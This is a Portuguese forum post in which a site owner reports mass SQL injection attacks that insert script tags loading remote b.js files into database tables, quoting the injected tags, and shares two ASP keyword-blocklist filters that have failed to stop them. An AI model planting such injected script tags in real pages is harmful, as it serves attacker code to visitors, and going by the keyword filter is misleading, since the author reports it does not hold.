Problemas com SQL Injection
fala galega ....
faz um tempinho que to com um probleminha bem pequeno, um tal de sql injection hehehe
alguns sites estão sendo atacados simultâneamente por hackers da china (maledetos) e em todas as tables é inserido um javascript (<script src=http://www.kadport.com/b.js></script><script src=http://www.web923.com/b.js></script><script src=http://www.debug73.com/b.js></script>), alguém mais está tendo algum problema parecido, já tentei várias coisas, e sempre eles conseguem "furar" o bloqueio ... to ficando de cabelo branco já com isso ... segue os codes que já tentei utilizar:
' *
' função para verificar query_string se existe sqlinjection
' *
function retornaInjection()
retornaInjection = 1
'* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
dim rsvQueryString
rsvQueryString = request.servervariables("query_string")
rsvQueryString = ucase(rsvQueryString)
'* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
if inStr(rsvQueryString, "EXEC(") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "DECLARE") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "NVARCHAR(") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "CAST(") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "FETCH") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, "UPDATE") > 0 then
retornaInjection = 1
elseif inStr(rsvQueryString, ".JS") > 0 then
retornaInjection = 1
elseif len(rsvQueryString) > 20 then
retornaInjection = 1
else
retornaInjection = 0
end if
end function
' *
' função para veridicar sql injection na query_string
' *
if retornaInjection() = 1 then
response.write("erro de segurança. por favor entre em contato com o administrador do site.<br>obrigado!")
response.write("<br><br>")
response.write("error of security. please contact the site administrator. thank you!")
response.end()
application.lock()
application("sqlinjection") = application("sqlinjection") &"; "& request.servervariables("remote_host") &"/"& date(now()) &" "
application.unlock()
end if
atualmente estou tentando este:
' *
' função para tratar variáveis contra sql injection
' *
query = ""
query = Request.ServerVariables("QUERY_STRING")
if InStr(ucase(query),"EXEC(") > 0 or InStr(ucase(query),".JS") > 0 or InStr(ucase(query),"DECLARE") > 0 or len(query) > 30 then
response.write("Você não pode executar este comando.")
Response.Write 1/0
end if
já tentei inclusive utilizar os dois juntos, e mesmo assim ainda sofri ataques ... nem sei mais o que fazer!!
qualquer ajuda será bem vinda ...
Discussão (18)
Carregando comentários...